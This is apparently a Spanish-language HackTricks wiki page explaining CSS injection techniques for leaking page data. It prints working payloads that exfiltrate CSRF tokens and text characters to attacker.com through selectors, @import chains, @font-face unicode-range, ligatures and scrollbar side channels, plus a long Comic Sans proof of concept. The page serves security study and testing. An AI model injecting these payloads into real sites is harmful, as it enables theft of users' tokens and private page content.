CSS Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

CSS Injection

Selector de Atributo

Los selectores CSS están diseñados para coincidir con los valores de los atributos name y value de un elemento input. Si el atributo de valor del elemento de entrada comienza con un carácter específico, se carga un recurso externo predefinido:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Sin embargo, este enfoque enfrenta una limitación al tratar con elementos de entrada ocultos (type="hidden") porque los elementos ocultos no cargan fondos.

Bypass para Elementos Ocultos

Para eludir esta limitación, puedes dirigirte a un elemento hermano posterior utilizando el combinador de hermanos generales ~. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, lo que provoca que la imagen de fondo se cargue:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un ejemplo práctico de la explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo aquí.

Requisitos previos para la inyección de CSS

Para que la técnica de inyección de CSS sea efectiva, deben cumplirse ciertas condiciones:

  1. Longitud de la carga útil: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados.

  2. Reevaluación de CSS: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles recién generadas.

  3. Recursos externos: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.

Selector de atributo ciego

Como se explica en esta publicación, es posible combinar los selectores :has y :not para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS. También es posible usar esos selectores para extraer información de varios bloques del mismo tipo como en:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Combinar esto con la siguiente técnica de @import, es posible exfiltrar mucha info usando inyección CSS desde páginas ciegas con blind-css-exfiltration.

@import

La técnica anterior tiene algunas desventajas, consulta los requisitos previos. Necesitas poder enviar múltiples enlaces a la víctima, o necesitas poder iframe la página vulnerable a la inyección CSS.

Sin embargo, hay otra técnica ingeniosa que utiliza CSS @import para mejorar la calidad de la técnica.

Esto fue mostrado por primera vez por Pepe Vila y funciona así:

En lugar de cargar la misma página una y otra vez con decenas de diferentes payloads cada vez (como en la anterior), vamos a cargar la página solo una vez y solo con una importación al servidor del atacante (este es el payload a enviar a la víctima):

@import url('//attacker.com:5001/start?');
  1. La importación va a recibir algún script CSS de los atacantes y el navegador lo cargará.

  2. La primera parte del script CSS que el atacante enviará es otro @import al servidor de los atacantes nuevamente.

  3. El servidor de los atacantes no responderá a esta solicitud aún, ya que queremos filtrar algunos caracteres y luego responder a esta importación con la carga útil para filtrar los siguientes.

  4. La segunda y mayor parte de la carga útil va a ser una carga útil de filtrado de selector de atributos

  5. Esto enviará al servidor de los atacantes el primer carácter del secreto y el último.

  6. Una vez que el servidor de los atacantes haya recibido el primer y último carácter del secreto, responderá a la importación solicitada en el paso 2.

  7. La respuesta va a ser exactamente la misma que los pasos 2, 3 y 4, pero esta vez intentará encontrar el segundo carácter del secreto y luego el penúltimo.

El atacante seguirá ese bucle hasta que logre filtrar completamente el secreto.

Puedes encontrar el código original de Pepe Vila para explotar esto aquí o puedes encontrar casi el mismo código pero comentado aquí.

El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributos permite hacer cosas como:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Esto permite que el script filtre el secreto más rápido.

A veces el script no detecta correctamente que el prefijo + sufijo descubierto ya es la bandera completa y continuará hacia adelante (en el prefijo) y hacia atrás (en el sufijo) y en algún momento se quedará colgado. No te preocupes, solo revisa la salida porque puedes ver la bandera allí.

Otros selectores

Otras formas de acceder a partes del DOM con selectores CSS:

  • .class-to-search:nth-child(2): Esto buscará el segundo elemento con la clase "class-to-search" en el DOM.

  • :empty selector: Usado por ejemplo en este informe:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

XS-Search basado en errores

Referencia: Ataque basado en CSS: Abusando de unicode-range de @font-face , PoC de XS-Search basado en errores por @terjanq

La intención general es usar una fuente personalizada de un endpoint controlado y asegurarse de que el texto (en este caso, 'A') se muestre con esta fuente solo si el recurso especificado (favicon.ico) no se puede cargar.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Uso de Fuentes Personalizadas:

  • Se define una fuente personalizada utilizando la regla @font-face dentro de una etiqueta <style> en la sección <head>.

  • La fuente se llama poc y se obtiene de un endpoint externo (http://attacker.com/?leak).

  • La propiedad unicode-range se establece en U+0041, apuntando al carácter Unicode específico 'A'.

  1. Elemento Object con Texto de Respaldo:

  • Se crea un elemento <object> con id="poc0" en la sección <body>. Este elemento intenta cargar un recurso desde http://192.168.0.1/favicon.ico.

  • La font-family para este elemento se establece en 'poc', como se define en la sección <style>.

  • Si el recurso (favicon.ico) no se carga, el contenido de respaldo (la letra 'A') dentro de la etiqueta <object> se muestra.

  • El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada poc si el recurso externo no se puede cargar.

Estilizando Fragmento de Texto de Desplazamiento

La :target pseudo-clase se emplea para seleccionar un elemento dirigido por un fragmento de URL, como se especifica en la especificación de Selectores CSS Nivel 4. Es crucial entender que ::target-text no coincide con ningún elemento a menos que el texto sea explícitamente dirigido por el fragmento.

Surge una preocupación de seguridad cuando los atacantes explotan la característica de fragmento de desplazamiento de texto, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor a través de inyección HTML. El método implica inyectar una regla CSS como esta:

:target::before { content : url(target.png) }

En tales escenarios, si el texto "Administrator" está presente en la página, el recurso target.png se solicita al servidor, indicando la presencia del texto. Se puede ejecutar una instancia de este ataque a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Aquí, el ataque manipula la inyección de HTML para transmitir el código CSS, apuntando al texto específico "Administrator" a través del fragmento Scroll-to-text (#:~:text=Administrator). Si se encuentra el texto, se carga el recurso indicado, señalando inadvertidamente su presencia al atacante.

Para la mitigación, se deben tener en cuenta los siguientes puntos:

  1. Coincidencia STTF Constrainada: El Fragmento Scroll-to-text (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para filtrar secretos o tokens arbitrarios.

  2. Restricción a Contextos de Navegación de Nivel Superior: El STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, haciendo que cualquier intento de explotación sea más notable para el usuario.

  3. Necesidad de Activación del Usuario: El STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son viables solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques sean automatizados sin interacción del usuario. Sin embargo, el autor de la publicación del blog señala condiciones específicas y bypass (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.

La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras.

Para más información, consulta el informe original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Puedes consultar un exploit usando esta técnica para un CTF aquí.

@font-face / unicode-range

Puedes especificar fuentes externas para valores unicode específicos que solo serán recogidos si esos valores unicode están presentes en la página. Por ejemplo:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el nodo de texto de sensitive-information contiene los caracteres "A" y "B". Pero Chrome y Firefox no obtienen "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".

Exfiltración de nodos de texto (I): ligaduras

Referencia: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

La técnica descrita implica extraer texto de un nodo aprovechando las ligaduras de fuentes y monitoreando cambios en el ancho. El proceso implica varios pasos:

  1. Creación de Fuentes Personalizadas:

  • Se crean fuentes SVG con glifos que tienen un atributo horiz-adv-x, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.

  • Ejemplo de glifo SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, donde "XY" denota una secuencia de dos caracteres.

  • Estas fuentes se convierten a formato woff usando fontforge.

  1. Detección de Cambios de Ancho:

  • Se utiliza CSS para asegurar que el texto no se ajuste (white-space: nowrap) y para personalizar el estilo de la barra de desplazamiento.

  • La aparición de una barra de desplazamiento horizontal, estilizada de manera distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por lo tanto una secuencia de caracteres específica, está presente en el texto.

  • El CSS involucrado:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Proceso de Explotación:

  • Paso 1: Se crean fuentes para pares de caracteres con un ancho sustancial.

  • Paso 2: Se emplea un truco basado en la barra de desplazamiento para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.

  • Paso 3: Al detectar una ligadura, se generan nuevos glifos que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter anterior o posterior.

  • Paso 4: Se lleva a cabo la detección de la ligadura de tres caracteres.

  • Paso 5: El proceso se repite, revelando progresivamente todo el texto.

  1. Optimización:

  • El método de inicialización actual usando <meta refresh=... no es óptimo.

  • Un enfoque más eficiente podría involucrar el truco de CSS @import, mejorando el rendimiento de la explotación.

Exfiltración de nodos de texto (II): filtrando el charset con una fuente predeterminada (sin requerir activos externos)

Referencia: PoC usando Comic Sans por @Cgvwzq & @Terjanq

Este truco fue publicado en este hilo de Slackers. El charset utilizado en un nodo de texto puede ser filtrado usando las fuentes predeterminadas instaladas en el navegador: no se necesitan fuentes externas -o personalizadas-.

El concepto gira en torno a utilizar una animación para expandir gradualmente el ancho de un div, permitiendo que un carácter a la vez transicione de la parte 'sufijo' del texto a la parte 'prefijo'. Este proceso divide efectivamente el texto en dos secciones:

  1. Prefijo: La línea inicial.

  2. Sufijo: La(s) línea(s) subsiguiente(s).

Las etapas de transición de los caracteres aparecerían de la siguiente manera:

C ADB

CA DB

CAD B

CADB

Durante esta transición, se emplea el truco de rango unicode para identificar cada nuevo carácter a medida que se une al prefijo. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente predeterminada, lo que provoca la aparición de una barra de desplazamiento vertical. La aparición de esta barra de desplazamiento revela indirectamente la presencia de un nuevo carácter en el prefijo.

Aunque este método permite la detección de caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que ha ocurrido una repetición.

Básicamente, el rango unicode se utiliza para detectar un char, pero como no queremos cargar una fuente externa, necesitamos encontrar otra manera. Cuando el char es encontrado, se le asigna la fuente Comic Sans preinstalada, que hace que el char sea más grande y provoca una barra de desplazamiento que filtrará el char encontrado.

Revisa el código extraído de la PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Exfiltración de nodos de texto (III): filtrando el charset con una fuente predeterminada al ocultar elementos (sin requerir activos externos)

Referencia: Esto se menciona como una solución fallida en este informe

Este caso es muy similar al anterior, sin embargo, en este caso el objetivo de hacer que caracteres específicos sean más grandes que otros es ocultar algo como un botón para que no sea presionado por el bot o una imagen que no se cargará. Así que podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente dentro del texto.

Exfiltración de nodos de texto (III): filtrando el charset por temporización de caché (sin requerir activos externos)

Referencia: Esto se menciona como una solución fallida en este informe

En este caso, podríamos intentar filtrar si un carácter está en el texto cargando una fuente falsa desde el mismo origen:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Si hay una coincidencia, la fuente se cargará desde /static/bootstrap.min.css?q=1. Aunque no se cargará con éxito, el navegador debería almacenarla en caché, y incluso si no hay caché, hay un mecanismo de 304 no modificado, por lo que la respuesta debería ser más rápida que otras cosas.

Sin embargo, si la diferencia de tiempo de la respuesta en caché con respecto a la que no está en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera disk-cache-size=1, lo cual es realmente considerado.

Exfiltración de nodos de texto (III): filtrando el charset al cargar cientos de "fuentes" locales (sin requerir activos externos)

Referencia: Esto se menciona como una solución fallida en este informe

En este caso, puedes indicar CSS para cargar cientos de fuentes falsas desde el mismo origen cuando ocurre una coincidencia. De esta manera, puedes medir el tiempo que toma y averiguar si un carácter aparece o no con algo como:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Y el código del bot se ve así:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Así que, si la fuente no coincide, se espera que el tiempo de respuesta al visitar el bot sea de aproximadamente 30 segundos. Sin embargo, si hay una coincidencia de fuente, se enviarán múltiples solicitudes para recuperar la fuente, lo que causará que la red tenga actividad continua. Como resultado, tomará más tiempo satisfacer la condición de parada y recibir la respuesta. Por lo tanto, el tiempo de respuesta se puede utilizar como un indicador para determinar si hay una coincidencia de fuente.

Referencias

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated